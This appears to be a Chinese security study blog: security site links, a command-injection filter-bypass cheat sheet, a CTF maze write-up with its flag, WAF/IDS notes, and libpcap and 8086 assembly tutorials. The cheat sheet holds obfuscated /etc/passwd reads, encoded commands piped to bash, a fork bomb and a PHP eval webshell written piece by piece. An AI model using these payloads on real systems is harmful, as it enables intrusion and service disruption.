网络安全相关网站

网站

安全咨询媒体

FreeBuf

https://www.freebuf.com/

安全客

https://www.anquanke.com/

安全脉搏

https://www.secpulse.com/

RoarTalk

https://www.4hou.com/

安全论坛

看雪

https://bbs.pediy.com/

tools

https://www.t00ls.cc/

先知安全社区

https://xz.aliyun.com/

知识星球

OpenSec

https://wx.zsxq.com/dweb2/index/group/555221458444

代码审计

https://wx.zsxq.com/dweb2/index/group/2212251881

实验室

知道创宇

https://www.seebug.org/

绿盟

http://blog.nsfocus.net/

腾讯玄武实验室

https://xlab.tencent.com/cn/

TOPSEC阿尔法实验室

http://blog.topsec.com.cn/

思科

https://blogs.cisco.com/security

FIREEYE

https://www.fireeye.com/blog

McAfee

https://www.mcafee.com/blogs/

kaspersky

https://www.kaspersky.com.cn/blog/

百度

https://anquan.baidu.com/tag/37

腾讯科恩实验室

https://keenlab.tencent.com/zh/index.html

Acunetix

https://www.acunetix.com/

公众号

360cert

360

ADlab

启明星辰

技术博客

知道创宇

https://blog.knownsec.com/

bitdefender

https://www.bitdefender.com/blog/labs/

离别歌 phith0n

https://www.leavesongs.com/

合集

https://blog.csdn.net/zkaqlaoniao/article/details/120881789

工具博客

seclist

https://seclists.org/

darknet

https://www.darknet.org.uk/

渗透测试进阶

跳跳糖

https://tttang.com/

乌云镜像仓库

https://wooyun.kieran.top/#!/

windows uac

https://github.com/gushmazuko/WinBypass

GITHUB

mpgn

https://github.com/mpgn

jas502n

https://github.com/jas502n

ze0r

https://github.com/ze0r

k8gege

https://github.com/k8gege

7kbstorm

https://github.com/7kbstorm

代码审计经验

https://wiki.sei.cmu.edu/confluence/

国外漏洞源

Exploit database

https://www.exploit-db.com/browse/

Security focus

https://www.securityfocus.com/bid

Packet Storm

https://packetstormsecurity.com/files/tags/exploit/

补丁库

Securitytracker

https://www.securitytracker.com/archives/summary/9000.html

国内漏洞源

CNVD

http://www.cnvd.org.cn/webinfo/list?type=14

CNNVD

http://www.cnnvd.org.cn/web/cnnvdnotice/querylist.tag

操作系统

Red Hat

https://access.redhat.com/security/security-updates/#/cve

Ubuntu

https://usn.ubuntu.com/

Debian

https://www.debian.org/security/#DSAS

CentOS

https://wiki.centos.org/Security?highlight=%28security%29

FreeBSD

https://www.freebsd.org/security/advisories.html

系统服务

Samba

https://www.samba.org/samba/history/security.html

OpenSSH

http://www.openssh.com/security.html

NTP

http://support.ntp.org/bin/view/Main/SecurityNotice#Recent_Vulnerabilities

OpenSSL

https://www.openssl.org/news/secadv/

Kerberos

http://web.mit.edu/kerberos/advisories/

Openldap

https://access.redhat.com/security/security-updates/#/cve?q=openldap&p=1&sort=cve_publicDate%20desc&rows=10&documentKind=Cve

Microsoft安全公告

https://docs.microsoft.com/zh-cn/security-updates/

RDP

https://access.redhat.com/security/security-updates/#/cve?q=rdp&p=1&sort=cve_publicDate%20desc&rows=10&documentKind=Cve

SMB

https://access.redhat.com/security/security-updates/#/cve?q=smb&p=1&sort=cve_publicDate%20desc&rows=10&documentKind=Cve

Tomcat

https://tomcat.apache.org/security.html

Jenkins

https://jenkins.io/security/advisories/

Nginx

http://nginx.org/en/security_advisories.html

框架 Spring

https://pivotal.io/security/

Struts2

https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

参考图书

  • 《白帽子讲web安全》

  • 《黑客攻防技术宝典:Web实战篇(第2版)》

  • 《Kali渗透测试技术实战》

  • 《渗透测试实践指南:必知必会的工具与方法》

  • 《Metasploit渗透测试魔鬼训练营》

  • 《0day安全:软件安全分析技术》

参考工具

  • Acunetix Web Vulnerability Scanner
  • IBM Appscan
  • Burpsuit
  • Metasploit
  • Kail Linux
  • Nmap

相关链接

http://navisec.it/
http://www.xxaq.org/
http://www.freebuf.com/
http://www.aqniu.com/
https://www.easyaq.com/
https://www.secpulse.com/
http://www.sec-un.org/
https://www.sec-wiki.com/
http://www.91ri.org/
https://www.t00ls.net/
https://www.exploit-db.com/
http://www.securityfocus.com/
https://packetstormsecurity.com/

命令执行绕过

Linux绕过

连接符绕过

1
2
3
/b'i'n/cat /"e"t'c/p'asswd

cat+/etc/passwd --数据包中使用 +能替代空格

反斜杠绕过

1
2
c\a\t /e\tc/pa\sswd
c\a\t \/\e\t\c/\p*\d

通配符

1
2
3
4
5
6
7
cat /etc/pass*
cat /etc/passw?
cat /e[a,t]c/passw[a-z]
cat /e[a,t]c/passw{a,d}
/usr/bin/"w"*"o"am?
/usr/bin/i[[:alpha:]]
# [[:alpha:]] ascii字符类

未初始化变量

1
2
3
4
cat /et$(a)c/passwd
ca$@$1t /etc/passwd $1变成$a就不行了 估计变量名有关系
echo i$@d /bash
$echo i$@d

路径干扰

1
2
3
cat /./etc/././passwd
cat /./e\t\c\/\.\/\/\/passwd
cat /etc////passwd

多表达式干扰

1
2
1;\c\a\t /etc/passwd
1\:;\ca\t /etc/passwd

变量赋值绕过

1
2
3
a=l b=s; $a$b
a=l; ${a}s
u=who;u+=ami;$u

这里还是要看看$a ${a}的区别 后续会补充

反引号干扰

将`content`里面的内容进行命令执行,随后将输出的结果进行执行

1
2
3
4
$(whoami)会执行root
`whoami`
`ec'ho' cat` /etc/passwd
`\whoami` 这里反斜杠有什么用后续可以看看

空格绕过

1
2
3
4
5
6
cat<>/etc/passwd
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
echo$IFS"<?=syste_m(\$_GET[])?>">xxx.pxp
cat%09/etc/passwd -- 数据包解析%09空白字符

后续要找找<> 和< 这个为什么能作为空格

高级空格使用

1
2
3
IFS=,;`cat<<<uname,-a`
IFS=:; a=cat:/etc/passwd;$a
IFS=_; command=ls_-l;$command

IFS是什么?

IP转十进制

1
/??n/?c -e /??n/b??h xxxxxxx

这里没看懂

$()干扰

$()有反引号的功能

1
2
$(echo c)at /etc/passwd
$(echo l)$(echo s)

特殊符号

/*/ /**/ /!*/ @

1
2
cat /*/ /etc/passwd
cat @ /etc/passwd

{}

1
2
3
4
mkdir {userA,userB,userC}-{home,bin,data}
cat {/etc/passwd,/etc/group}
{cat,/etc/passwd}
不能随便加空格
系统环境变量替换路径
1
2
3
4
5
$HOME
$PWD
$OLDPWD
PWD=/bin
echo $PWD
借助第三方工具
1
2
3
4
5
6
7
8
python -c 'print "whoami"' | bash -i
`python -c 'print "who"+"ami"' --python
perl -e 'exec "whoami"'
perl -e 'exec "who" . "ami"'
php -r 'system("whoami")'
exec "whoami"
lua -e "os.execute('whoami');"
awk 'BEGIN {system("whoami")}'
利用编码

echo printf 区别在于printf可写八进制,十六进制,echo不行。echo -e效果等同于printf,可写八进制,十六进制。

1
2
3
4
5
6
7
8
9
10
echo "{base64}" | base64 -d |bash
printf "{base64}" | base64 -d |bash
echo "636174xxxx" | xxd -r -p |bash
`printf "\154\163"` ---八进制
$'\154\163'
printf "\154\163" | bash
printf "\154\164" | $0
\x --十六进制
\u --unicode

利用cut截断
1
echo ldds | cut -c1,4 | /bin/bash
tr删除绕过
1
echo aaaaalaaasaaaa | tr -d 'a' | /bin/bash
Exim4命令绕过(无插件)

kali默认安装

1
2
3
4
sendmail -be '${run{/bin/touch /tmp/test.txt}}' ---- 新建一个test.txt文件
sendmail -be '$spool_directory' ---/var/spool/exim4 不太懂是啥
exim4 -be '$config -dir' ---/var/lib/exim4
sendmail -be '$initial_cwd' --- /tmp
从文件中拼接
1
2
expr substr $(awk NR==1 1.php) 1 1 表示从1.php的第一行第一个字符取值一个
echo ldsd -> 1.php;`expr substr $(awk NR==1 1.php) 1 1``expr substr $(awk NR==1 1.php) 3 1`
ln软连接(不太清楚)
1
2
3
4
5
anythink=1
ln -s / anythink;head 0n anythink////../etc/passwd
ln -s ../../ wow; head -n 2 ././wow/../etc/passwd
ln -s / slash; head -n 2 `readlink slash`etc`readlink slash`/passwd
ln -s "head -n 2 /etc/pass" hehehe; $(readlink hehehe)wd
变量替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
提取
${string:position} # 在 $string 中, 从位置 $position 开始提取子串

${string:position:length} # 在 $string 中, 从位置 $position 开始提取长度为 $length 的子串

去除首尾

${string#expression} # 从变量 $string 的开头, 删除最短匹配 $expression 的子串
${string##expression} # 从变量 $string 的开头, 删除最长匹配 $expression 的子串
${string%expression} # 从变量 $string 的结尾, 删除最短匹配 $expression 的子串
${string%%expression} # 从变量 $string 的结尾, 删除最长匹配 $expression 的子串

替换

${string/expression/replacement} # 使用 $replacement, 来代替第一个匹配的 $expression
${string//expression/replacement} # 使用 $replacement, 代替所有匹配的 $expression
${string/#expression/replacement} # 如果 $string 的前缀匹配 $expression, 那么就用 $replacement 来代替匹配到的 $expression
${string/%expression/replacement} # 如果 $string 的后缀匹配 $expression, 那么就用 $replacement 来代替匹配到的 $expression
1
2
3
4
test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hhh\/hm/} -- cat /etc/passwd
test1=cahhht;test=/ehhh/hmtc/pahhh/hmsswd;${test1//hhh/} ${test//hhh\/hm/}
test=/ehhh/hmtc/pahhh/hmsswd;cat ${test//hh??hm/} -- cat /etc/passwd
alphabet=fghijklmnopqrstuvwxyzabcde/;cat ${alphabet:26}${alphabet:25:1}${alphabet: -13:-12}${alphabet: -4:1}${alphabet: -1}passwd
管道组合
1
2
echo xxx | base64 -d | bash -i
echo whoami | bash -i
倒叙
1
`echo "imohw"|rev`
神奇的$_

return上一个参数

1
2
: cat;$_ $(true |/etc/passwd; echo $_)
: cat;p=$_;(flase /etc;p=$p'';$_;:/passwd;p=$p$_;$p) 这个可能有错
利用for循环拼接命令
1
2
3
eval "$(ijmduN3D=(\[ r f 5 4 G U \" a i s p 1 t \% \} \ e \) \/ \\ 0 b J k z 7 \] \; \{ \| D \( X 2 h 3 \= 9 V 8 w n \$ B c 6 d o);for s7SQJyu8 in 11 1 9 42 13 2 16 14 10 16 7 43 32 24 44 39 8 6 33 37 32 20 19 16 45 16 10 16 47 16 41 16 13 16 11 16 17 16 8 16 20 16 18 28 2 48 1 16 31 25 35 24 23 36 41 5 16 9 42 16 12 16 40 16 3 16 38 16 21 16 26 16 3 16 12 16 21 16 46 16 40 16 34 16 34 16 4 16 36 28 47 48 16 11 1 9 42 13 2 16 14 10 16 7 43 29 24 44 39 8 6 33 0 43 31 25 35 24 23 36 41 5 27 15 7 28 47 48 42 17 18 7 30 22 8 10 35;do printf %s "${ijmduN3D[$s7SQJyu8]}";done)"
a=(dw ah h d m wm o w a i d);for i in 7 2 6 8 4 9;do printf %s "${a[i]}";done
BA=pNNriNNntf;$(a=(dw ah h d m wm o w a i d);for i in 7 2 6 8 4 9;do ${BA//NN/} %s "${a[i]}";done)
组装(高级组装)(无插件)

ls -t 表示根据创建时间排序,最近创建的排在前面

1
2
3
4
5
\> '?>'
\> '($_POST[1]);'
\> '@eval'
\> '<?php'
ls -t >1.php
相对路劲绕过(无插件)

通过将绝对路径拆分成相对路径来绕过对敏感路径的正则匹配

1
2
cd /etc/ && cat passwd

未解手法(暂时不考虑,放在数据包不能成功)(无插件)
1
2
: dummy dummy1 dummy3-col -- 需要同下面分开执行
^ol^at;(${_/*-/} /et?/???sw??) -- 该命令等价于: dummy dummy1 dummy3-cat;(${_/*-/} /et?/???sw??)
符号炸弹(无插件)
1
:(){ :| :&};:
计数+八进制绕过(无插件)

$#的功能就是计数

函数的方式就是计算字符串的数量

“”就是数一下他们的数量

1
>:(){ /???/???/pri??? $@;};.(){ : ${#};}; $(: "\\`. ""``. "" "" "" "" ""``. "" "" "" ""`" ;: "\\`. ""``. "" "" "" "" "" ""``. "" "" ""`") --ls
绕过手法组合
1
2
3
4
5
6
7
8
9
`printf "\u002f"/\./"\u0062\x69\u006e\u002f\u006c"[q-s]` unicode + hex + 通配符 + 路径干扰
printf "cHJpbnRmICJcdTAwMmYiL1wuLyJcdTAwNjJceDY5XHUwMDZlXHUwMDJmXHUwMDZjIltxLXNd" |base64 -d |`/bin/bash`
===
u=/bin/bash;printf "cHJpbnRmICJcdTAwMmYiL1wuLyJcdTAwNjJceDY5XHUwMDZlXHUwMDJmXHUwMDZjIltxLXNd" |base64 -d |`$u`
===
a=base64;echo d2hvYW1p |`$a -d`
a=bas;a+=e64;b=ec;b+=ho;$b d2hvYW1p|`$a -d`
a=bas;a+=e64;b=ec;b+=ho;c=d2hv;c+=YW1p;$b $c|`$a -d`
cat `echo -n '/etc' || echo '/shit' && echo '/passwd'`
其他
1
2
3
4
\> $PS2
\+ $PS4
内部字段分隔符 ${IFS}
空字符串 ${9}

windows

powershell+通配符
1
2
3
4
powershell $('ip'+'confi'+'g')
powershell $("{3}-{2}-{1}-{0}" -f 'g','y','conf','ip'")
type C:\windows\*
powershell C:\xxxx
大小写
1
ifconfiG
利用cmd的环境变量拼接命令

cmd.exe内部命令有:set assoc ftype等

set:命令用来显示,设置或删除cmd.exe环境变量

assoc:文件名扩展关联命令,用于显示和设置文件名扩展关联,可以指定某种后缀名文件按照特定类型文件打开或执行

ftype:显示或修改用在文件名关联中的文件类型,指定一种类型文件默认为哪个程序运行或打开

%comspec:~11,1%表示取comspec变量值中的字符,默认从0下表开始,从11下标取一个字符

1
2
3
set no2= user&&set PdZG2=net&&call %PdZG2%%no2% -- net user
cmd /V:ON/C"set pI=gifnocpi&&for /L %z in (7,-1,0)do set GI4S=!GI4S!!pI:~%z,1!&&if %z==0 call %GI4S:*GI4S!=%" --ipconfig
cmd /V:ON /C "set envar=net user && !envar!" -- net user
系统变量替换
1
2
3
4
# 打开计算器
%SystemRoot%\System32\calc.exe -- C:\Windows\System32\calc.exe
# 输出%SystemRoot%变量值
echo %SystemRoot%
插入特殊字符干扰

^可以放在任意位置(不能是末尾)

@放在命令开头

,放在命令开头

,;,放在命令开头

插入()括号

1
2
3
4
5
6
n^o^t^e^p^a^d -- notepad
@notepad -- notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e -- calc
(((whoami))) -- 插入括号
,net user
,;,net user
在一些情况下 : , / \ ;可以替换空格

逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格

多个空格也不影响命令执行

1
2
3
4
5
echo:%SystemRoot%
echo,%SystemRoot%
echo/%SystemRoot%
echo\%SystemRoot%
echo;%SystemRoot%

> 逗号“,”和分号 “;”可以互换,可以取代命令中的合法空格
>
> 多个空格也不影响命令执行

双引号
1
wh"o"am""i
补充完整路径

C:\Windows\System32\

%SystemRoot%\system32\

%WINDIR%\System32\

%HOMEDRIVE%\Windows\System32\

%SystemDrive%\Windows\System32\

1
2
C:\Windows\System32\ipconfig -- 补充完整路径
%WINDIR%\System32\whoami
利用For循环拼接命令

for /参数 %变量 in (集) do 命令

/d 参数是指定仅对目录而不是文件执行的for命令

for /L %%变量 in (起始值,每次增值,结束时的比较值) do 命令

/F 将会打开(集)里的文件,使for命令能处理文本文件的读取和添加删除替换等编辑性的操作,可谓功能强大,因此也相对复杂一些

1
for /F %x in ('whoami') do echo %x
&()干扰
1
2
cmd.exe /c &("whoami")
cmd.exe /c &("cal"c)
多表达式干扰
1
2
1&whoami
1||whoami
特殊字符
  • %1a

攻防世界 maze

攻防世界 maze

链接

maze

思路

exeinfo看一下信息

64位elf。

丢到ida里面看下反汇编代码。

要让result==‘ ’ 或者 ‘#’(也就是只能走这两个地方)

上面的是result的坐标,v9*8所以v9代表行。

1
2
3
temp = '  *******   *  **** * ****  * ***  *#  *** *** ***     *********'
for i in range(0, len(temp), 8):
print(temp[i:i+8])

打印迷宫,然后走一下就行了。

O - left o - right . - up 0 - : down

起始处为[0][0]。

flag: nctf{o0oo00O000oooo..OO}

WAF IDS IPS AF SIP

FW WAF IDS IPS AF SIP DMZ

DMZ区

DMZ(Demilitarized Zone)。中文名,隔离区。是为了解决外网不能访问内网服务器的问题,设立的一个非安全系统和安全系统之间的缓冲区。作用是把单位的FTP服务器,E-MAIL服务器等允许外部访问的服务器单独部署在此区域。使整个需要保护的内部网络接在信任区后,不允许任何外部网络的直接访问,实现内外网分离,满足用户的安全需求。

基础防火墙FW

主要是实现基本包过滤策略的防火墙,这类是有硬件处理,软件处理等,其主要功能实现是限制对IP:port的访问。基本上的实现都是默认情况下关闭所有的所有的通过型访问,只开放允许访问的策略。FW(firewall)可以拦截低层攻击行为,但对应用层的深层攻击行为无能为力。

入侵检测系统IDS

IDS通过依照一定的安全策略,对网络,系统的运行状况进行监视,尽可能发现各种攻击企图,攻击行为或者攻击结果,以保证网络系统资源的机密性,完整性,一般是旁路,不会禁止数据包流入。

入侵防御系统IPS

IPS也是通过一定的安全策略,来找到那些所认识的攻击代码特征。而这个特征库,我们根据一定的规则来编写,这样每次对过往的数据包进行深层次的检查,对于与特征库匹配的数据包进行一定的action,如记录日志,报警,丢掉数据包等。(今日所学的是使用snort来编写规则,然后对所匹配的异常数据包进行记录,以及部分ACTION)

WEB应用防护系统

WAF(WEB Application Firewall)。WAF是通过执行一系列针对HTTP/HTTPS协议的安全策略来专门为WEB应用提供保护的一款产品。相比于IPS,WAF更侧重对WEB产品的保护。并且IPS只能在事情发生时对攻击进行防护,而WAF还能在事前进行漏洞扫描,并且在时候保护数据的完整性。

AF SIP

应该是属于深信服特有的,AF是其宣称的下一代防火墙。SIP是安全动态感知平台。

libpcap c语言调用

libpcap C语言调用

简介

由于本人需要写一款安卓抓包程序,所以决定C语言写一个.so库供kotlin进行调用,来抓取网卡的包。

安装步骤

  1. 下载libpcap

  2. 解压 tar -zxvf <filename>

  3. 安装libpcap

    进入其文件夹操作一下命令

    1
    2
    3
    ./configure
    make
    sudo make install

    这时候ls /usr/local/include应该能看见pcap.h文件。

  4. 随后是在文件/etc/ld.so.conf的末尾直接添加/usr/local/lib

    这里原因是/etc/ld.so.conf此文件记录了编译时使用的动态库的路径,也就是加载so库的路径。

    默认情况下,编译器指挥使用/lib/usr/lib这两个目录下的库文件。而通常通过源码包进行安装时,如果不指定–prefix会将库安装在/usr/local目录下。这样虽然安装了源码包,但是使用时仍然找不到相关的.so库,就会报错。也就是说系统不知道安装了源码包。

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <pcap.h>
#include <stdio.h>


int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * device;
device = pcap_lookupdev(errBuf);
if(device)
{
printf("device: %s\n", device);
}
else
{
printf("error: %s\n", errBuf);
}
return 0;
}

函数使用方法

以下汉化均为本人渣翻,如有错误概不负责!请自行参考官方文档

pcap_findalldevs

pcap_findalldevs 获得一个网卡列表

pcap_freealldevs free pcap_if_t的空间,也就是上面这个列表的空间。

1
2
3
4
5
6
#include <pcap/pcap.h>

char errbuf[PCAP_ERRBUF_SIZE];

int pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf);
void pcap_freealldevs(pcap_if_t *alldevs);

pcap_findalldevs()构造一个网络设备的数组,这个数组能被pcap_create(3PCAP) 和pcap_activate(3PCAP) 或 pcap_open_live(3PCAP)调用。

1
2
3
4
5
6
7
struct pcap_if {
struct pcap_if *next;
char *name; /* name to hand to "pcap_open_live()" */
char *description; /* textual description of interface, or NULL */
struct pcap_addr *addresses;
bpf_u_int32 flags; /* PCAP_IF_ interface flags */
};

pcap_if_t结构

pcap_lookupnet
1
int pcap_lookupnet(const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf);

确定所制定名字的网卡的IPV4的网络号和掩码。(因为是网络所以x.x.x.0)

pcap_open_live
1
2
3
4
5
#include <pcap/pcap.h>

char errbuf[PCAP_ERRBUF_SIZE];

pcap_t *pcap_open_live(const char *device, int snaplen, int promisc, int to_ms, char *errbuf);

返回的这个类型在1.10.0版本已经没有定义了,只有一个typedef。原先定义是在<pcap-int.h>中。

其参数为device name。snaplen时设置句柄上的数据包长度。promisc设定是否为接口为混杂模式。如果promisc非零。则设置混杂模式。to_ms 设定数据包的timeout时间。

pcap_dump_open

pcap_t *类型的句柄和filename传入,无则创建文件,有则覆盖写入文件。

1
2
3
4
5
#include <pcap/pcap.h>

pcap_dumper_t *pcap_dump_open(pcap_t *p, const char *fname);
pcap_dumper_t *pcap_dump_open_append(pcap_t *p, const char *fname);
pcap_dumper_t *pcap_dump_fopen(pcap_t *p, FILE *fp);

pcap_dump_fopen打开一个文件流,随后通过pcap_dump_close来关闭。

pcap_compile
1
2
3
#include <pcap/pcap.h>

int pcap_compile(pcap_t *p, struct bpf_program *fp, const char *str, int optimize, bpf_u_int32 netmask);

str编译成过滤程序。optimize决定是否结果代码进行优化。netmask指定捕获网络上的ipv4网络掩码。如果不知道网络掩码,或者要捕获“any”接口的数据包。使用PCAP_NETMASK_UNKNOWsN

在libpcap 1.8.0及更高版本中pcap_compile()可以在单个进程中的多个线程中使用。

pcap_setfilter
1
2
3
#include <pcap/pcap.h>

int pcap_setfilter(pcap_t *p, struct bpf_program *fp);

指定过滤程序。

pcap_dump
1
2
3
#include <pcap/pcap.h>

void pcap_dump(u_char *user, struct pcap_pkthdr *h, u_char *sp);

将数据包输出到pcap_dump_open打开的文件。user参数的类型时pcap_dump_t

汇编语言

汇编语言

基础知识

机器语言

cpu是一种微处理器,cpu及其控制的芯片,器件,设备组成了我们所说的pc机。

由于每一种微处理器的硬件设计不同,内部结构不同。所以需要不同的点评脉冲来控制。所以每一种微处理器都有自己的机器指令集,也就是机器语言。(这也就是我们自研发cpu的一个难点,这些硬件架构是有版权的)

汇编语言

汇编语言的主体是汇编指令,汇编指令和机器指令的 差别在于表示方法上,汇编指令是机器指令便于记忆的书写格式。

汇编语言的组成
  1. 汇编指令
  2. 伪指令(没对应的机器码,编译器执行
  3. 其他符号(编译器识别,没对应的机器码
存储单元

微机存储器的一个存储单元可以存储一个Byte(8bit)

区别于网速的10^3,存储的进制是2^10

CPU对存储器的读写

CPU想要进行读写必须要和外部器件(芯片)进行3类信息交互

  • 存储单元的地址
  • 器件的选择,读或写命令
  • 读或写的数据
  1. cpu通过地址总线发出地址信息3
  2. cpu通过控制总线发出内存读命令,选中存储器芯片,通知他
  3. 存储器将3好存储单元的信息通过数据总线发送
地址总线

N根地址总线能访问2^N个内存单元。

数据总线

8088cpu的数据总线宽度为8,8086cpu数据总线宽度为16.

控制总线

cpu对外部器件的控制是通过控制总线来进行的。

主板

每一台pc机都有一个主板,主板上有核心器件和一些主要器件,通过总线相连。

接口卡

计算机系统中所有可用程序控制其工作的设备,必须受到cpu的控制。cpu对外部设备不能直接控制,直接控制这些设备的是插在扩展插槽上的接口卡。cpu通过控制这些接口卡间接控制外部设备。

各类存储芯片

RAM(随机存储器)可读可写,但是必须带电存储,关机后内容丢失。

ROM(只读存储器),只能读不能写,关机后内容不消失。

  • 随机存储器

    用于存放供cpu使用的绝大部分程序和数据,主随机存储器一般由两个位置上的RAM组成,装在主板上的RAM和插在扩展插槽上的RAM

  • 装有BIOS的ROM

    BIOS是由主板和各类接口卡厂商提供的软件系统,可以通过它利用硬件设备进行输入输出。

  • 接口卡上的RAM

    某些接口卡需要对大批量的输入输出数据进行暂时的存储,在其上装有RAM,如显卡,显卡随时将显存中的数据向显示器上输出。

内存地址空间

CPU在操控存储器的时候,把它们都当内存来对待,把它们总的看作一个由若干存储单元组成的逻辑存储器,这个逻辑存储器就是我们说的内存地址空间。

内存地址空间的大小收到地址总线(cpu寻址能力)限制。

寄存器

CPU是由运算器,控制器,寄存器等器件构成,这些器件靠内部总线连接在一起。在cpu中:

  • 运算器进行信息处理
  • 寄存器进行信息存储
  • 控制器控制各种器件进行工作
  • 内部总线连接各个部件,在它们之间进行数据传递
通用寄存器

8086cpu的寄存器都是16位的,AX,BX,CX,DX这四个寄存器用来存放一般性数据,被称为通用寄存器。

AX的高位为AH,低位为AL,分别8位。

在数据传送和运算的时候要注意两个操作对象位数一致。

1
mov ax,bl //错误
物理地址

所有内存单元构成的存储空间是一个一维的线性空间,每一个内存单元在这个空间中都有唯一的地址,我们称这个地址为物理地址。

(这里区分一下每个程序在被加载后会有一个独享的虚拟地址。)

16位结构
  • 运算器一次最多可以处理16位数据
  • 寄存器的最大宽度为16位
  • 寄存器和运算器之间的通路为16位
8086cpu给出物理地址的方法

8086cpu有20条地址总线,但是内部一次处理传输的地址为16位。

所以会合成两个16位地址来访问物理地址

计算物理地址的算法为

物理地址=段地址X16+偏移量

段的划分来自cpu,cpu的位数(偏移地址)决定了一个段有多大。16位是64KB,一个段的起始地址一定是16的倍数(SAX16),且一个物理地址可能由不同的段地址+偏移地址得到。

段寄存器

CS,DS,SS,ES

CS和IP

CS为代码段寄存器,IP为指针寄存器。

8086cpu在任意时刻,cpu将CS:IP中的指令进行执行。

8086CPU执行过程
  1. 从CS:IP读取指令,指令进入指令缓冲器
  2. IP=IP+读取的长度
  3. 开始执行指令
修改CS,IP的指令

jmp 段地址:偏移地址

jmp 任意寄存器 = mov ip,寄存器中的值

寄存器(内存访问)

内存中字的存储

一个字是16位,也就是两个字节,intel处理器存储字是小端存储,即高八位存放高位字节,低八位存放低位字节。(大端与阅读时习惯相似,高8位存低位字节,低8位存高位字节)

ds和[address]

mov指令:

- 将数据直接送入寄存器
- 将一个寄存器的内容放到另一个寄存器

8086cpu不允许mov ds,1000H

CPU提供的栈机制

push ax操作:

1. sp=sp-2 
1. 将ax内容送入栈中

如果push sp那么会存放sp-2之前的值

pop ax 操作:

1. 将内存单元ss:sp中数据放入ax中
1. sp=sp+2

如果pop sp同样是sp+2之前的值

8086cpu没有对栈上下界的检测,无法保证不越界。

大小写字母即ASCII码

大写字母+20H=小写字母

即大写字母第五位为0,小写字母第五位为1。

数据处理

机器指令处理的数据在什么地方
  1. 立即数

    执行前在cpu的指令缓冲器中。

  2. 寄存器

    在寄存器中,cpu内部

  3. 段地址

    在段寄存器中,cpu内部

指令处理的数据有多长

word ptr指定处理一个字

byte ptr指定处理一个字节

dd伪指令

db 一个字节,dw一个字,dd双字

转移指令的原理

jmp指令

cpu在执行jmp指令的时候并不关心跳转的地址,而是只考虑偏移。并且读完jmp后,ip增加过一次,所以是在增加后的ip之后在增加偏移量。

jmp short 标号的功能:(IP)=(IP)+8位偏移

  1. 8位偏移=标号处地址-jmp指令后的第一个字节的地址
  2. short指明为8位偏移
  3. 8位偏移为-128~127,补码表示法
  4. 8位偏移编译时给出

jmp far 标号 EB 偏移地址 段地址

转移地址在内存中的jmp指令
  1. jmp word ptr 内存单元地址

    ip = []

  2. jmp dword ptr 内存单元地址

    cs=第二个字,ip=第一个字

jcxz指令

jmp if cx==zero

所有的条件转移指令都是短转移,ip修改范围为-128~127.

CALL和RET指令

ret和retf

ret指令使用栈中的数据,修改ip,实现近转移

CPU执行ret:

  1. (ip)=((ss)*16+(sp))
  2. (sp)=(sp)+2

CPU执行RETF:

  1. (ip)=((ss)*16+(sp))

  2. (sp)=(sp)+2

  3. (cs)=((ss)*16+(sp))

  4. (sp)=(sp)+2

call指令
  1. 将当前的ip或者ip和cs压入栈中
  2. 转移
根据位移进行的call指令

call 标号

  1. (sp)=(sp)-2

    ((ss)*16+(sp))=(IP)

  2. (IP)=(IP)+16位位移

16位位移=标号处地址-call指令后第一个字节地址

16位位移的范围为-32768-32767,补码表示

16位移在编译时给出

转移目的地址在指令中的call指令

call far ptr 标号

  1. push cs
  2. push ip
  3. jmp far ptr 标号
标志寄存器

flag寄存器

ZF标志

zf=1结果为0,zf=0结果不为0

PF标志

奇偶校验位,如果所有bit中1的个数位偶数,pf=1;如果为奇数,pf=0。

SF标志

如果结果为负,SF=1;如果结果不为负,SF=0。

CF标志

在进行无符号数运算的时候,它记录了运算结果的最高有效位向更高位的进位值。

OF标志

进行有符号数运算的时候。结果超过了机器能表示的范围称为溢出。

cmp指令

jmp 操作对象1,操作对象2

计算操作对象1-操作对象2,改变flag寄存器。

指令 含义 检测到相关标志位
je 等于则转移 zf=1
jne 不等于则转移 zf=0
jb 低于则转移 cf=1
jnb 不低于则转移 cf=0
ja 高于则转移 cf=0且zf=0
jna 不高于则转移 cf=1或zf=1

中断

内中断

在操作系统中中断操作会从用户态变成系统态。这个后续会写操作系统的总结。

本质上,这个就是在执行完当前正在执行的指令后,检测从cpu外部发送过来或者内部产生的一种特殊信息,可以立即对所接收到的信息进行处理,外部信号(外中断可以屏蔽)。

内中断的产生

当cpu内部有以下事情发生的时候,产生马上需要处理的中断的信息,对于8086cpu有以下情况:

  1. 除法错误
  2. 单步执行
  3. 执行into指令
  4. 执行int指令

中断信息必须包含识别来源的编码,8086cpu用称为中断类型码的数据来表示中断信息。中断类型码为一个字节的数据,可以表示256种终端信息的来源。有如下几种:

  1. 除法错误:0
  2. 单步执行:1
  3. 执行into指令:4
  4. 执行int指令,该指令格式为int n,n为字符型立即数
中断处理程序

cpu收到中断信息后,需要对终端信息进行处理。而这个处理程序,是可以通过我们编写的,被称作中断处理程序。

cpu收到中断信息后,应该转去执行该中断信息的处理程序,cpu在接收到一个中断信息后,会将cs:ip指向中断处理程序的入口。

中断向量表

cpu用8为的中断类型码通过中断向量表找到相应的中断处理程序的入口地址。

中断向量表在内存中保存,其中存放着256给中断源所相应的中断处理程序的入口。对于8086cpu,中断向量表指定放在,内存地址0处,内存0000:0000带到0000:03ff的1024给单元中存放着中断向量表。其一个表项占2个字,高地址存放段地址,低地址字存放偏移地址。

中断过程

cpu收到中断信息后,要对中断信息进行处理,首先将引发中断过程,硬件在完成终端过程后,CS:IP将指向中断程序的入口,cpu开始执行中断处理程序。

cpu在执行完中断处理程序后,若返回原来的执行点继续执行下面的指令。在设置CS:IP之前还要将之前的cs和ip存储起来。

下面是8086cpu在收到中断信息后,所引发的终端过程。

  1. 取得中断类型码
  2. 标志寄存器入栈
  3. 设置标志寄存器第8位TF和第9位IF的值位0
  4. cs的值入栈
  5. ip的值入栈
  6. 从内存地址位中断类型码*4和中断类型码*4+2的单元中分别取IP和CS

等价于

  1. 取得中断类型码N
  2. pushf
